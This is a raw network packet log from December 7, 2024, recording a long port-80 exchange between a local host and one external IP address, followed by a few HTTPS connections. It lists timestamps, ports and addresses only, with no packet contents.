Dec 7, 2024 08:43:54.083551884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.083647966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.083695889 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.084583044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.084633112 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.084753036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.084794998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.085652113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.085700035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.085762978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.085807085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.086739063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.086781025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.086906910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.087304115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.087837934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.087892056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.087935925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.087977886 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.088906050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.088948965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.089102030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.089148998 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.090142012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.090184927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.090210915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.090251923 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.091044903 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.091090918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.091144085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.091187954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.092127085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.092220068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.092268944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.093187094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.093238115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.093357086 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.093411922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.094257116 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.094304085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.094372034 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.094412088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.095374107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.095464945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.095515013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.096395969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.096456051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.096497059 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.096543074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.097548962 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.097605944 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.097623110 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.097665071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.098546028 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.098601103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.098617077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.098659039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.099662066 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.099778891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.099834919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.100698948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.100753069 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.100815058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.100853920 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.101789951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.101834059 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.101855040 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.101893902 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.102861881 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.102897882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.102905989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.102933884 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.103950024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.104062080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.104113102 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.105194092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.105212927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.105238914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.105282068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.106086969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.106199026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.106250048 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.107158899 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.107208967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.107268095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.108378887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.108405113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.108439922 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.108473063 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.109379053 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.109441996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.109493017 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.110358000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.110419035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.110465050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.110511065 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.111445904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.111568928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.111624002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.112518072 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.112564087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.112576008 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.112603903 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.113590956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.113640070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.113737106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.113784075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.114633083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.114681005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.114769936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.114818096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.115736008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.115784883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.115823030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.115864992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.116781950 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.116827965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.116899014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.116942883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.117866993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.117912054 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.117927074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.117966890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.119052887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.119097948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.244321108 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.244395971 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.244507074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.244775057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.244827986 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.244896889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.244946957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.245874882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.245910883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.245923042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.245949030 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.247054100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.247102022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.247193098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.247237921 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.248023987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.248138905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.248186111 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.249073982 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.249119997 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.249200106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.249244928 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.250222921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.250272036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.250317097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.250368118 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.262337923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.262486935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.262537956 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.262825012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.262871981 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.262965918 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.263011932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.263911009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.264075041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.264123917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.264965057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.265010118 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.265065908 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.265110016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.266027927 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.266102076 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.266128063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.266169071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.267107010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.267152071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.267229080 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.267272949 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.268184900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.268284082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.268333912 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.269264936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.269310951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.269361973 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.269402027 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.270446062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.270490885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.270503044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.270539999 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.271421909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.271522045 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.271572113 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.272511959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.272559881 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.272617102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.272665024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.273545980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.273591995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.273721933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.273766041 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.274631023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.274676085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.274734020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.274774075 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.275717020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.275839090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.275887012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.276782036 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.276827097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.277013063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.277057886 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.277867079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.277913094 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.277977943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.278021097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.278924942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.278970003 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.279093027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.279138088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.280000925 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.280067921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.280107021 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.281135082 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.281172991 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.281289101 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.281336069 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.282124996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.282187939 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.282243967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.282285929 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.283206940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.283253908 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.283328056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.284343958 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.284390926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.284415007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.284451008 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.285382986 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.285432100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.285505056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.285550117 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.286461115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.286504984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.286569118 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.286612988 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.287508965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.287659883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.287710905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.288592100 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.288640022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.288712025 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.288755894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.289732933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.289777994 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.289838076 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.289882898 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.290715933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.290760040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.290860891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.290901899 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.291820049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.291968107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.292009115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.292898893 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.292913914 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.292938948 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.292968988 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.293982029 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.294030905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.294070959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.294116020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.295058012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.295104980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.295167923 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.295212984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.296161890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.296211004 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.296231985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.296277046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.297192097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.297238111 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.297312021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.297502995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.298269033 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.298316002 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.298346043 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.298391104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.299349070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.299397945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.299441099 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.299487114 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.300436974 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.300491095 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.300554991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.300601006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.301542044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.301589012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.301700115 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.301743031 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.302556038 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.302601099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.302711964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.302757025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.303622007 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.303668022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.303728104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.303775072 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.304728985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.304776907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.304832935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.304878950 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.305824995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.305855989 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.305867910 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.305893898 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.306905031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.306952000 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.307044983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.307091951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.307929993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.307979107 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.308047056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.308094025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.309010029 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.309056044 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.309127092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.309173107 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.310081959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.310127974 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.310206890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.310254097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.311137915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:54.311184883 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:54.357453108 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.357515097 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.357574940 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.357810974 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.357825994 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.357836008 CET	49806	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.357840061 CET	443	49806	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.360856056 CET	49811	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.360872984 CET	443	49811	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:54.361006975 CET	49811	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.361207962 CET	49811	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:54.361218929 CET	443	49811	13.107.246.63	192.168.2.5
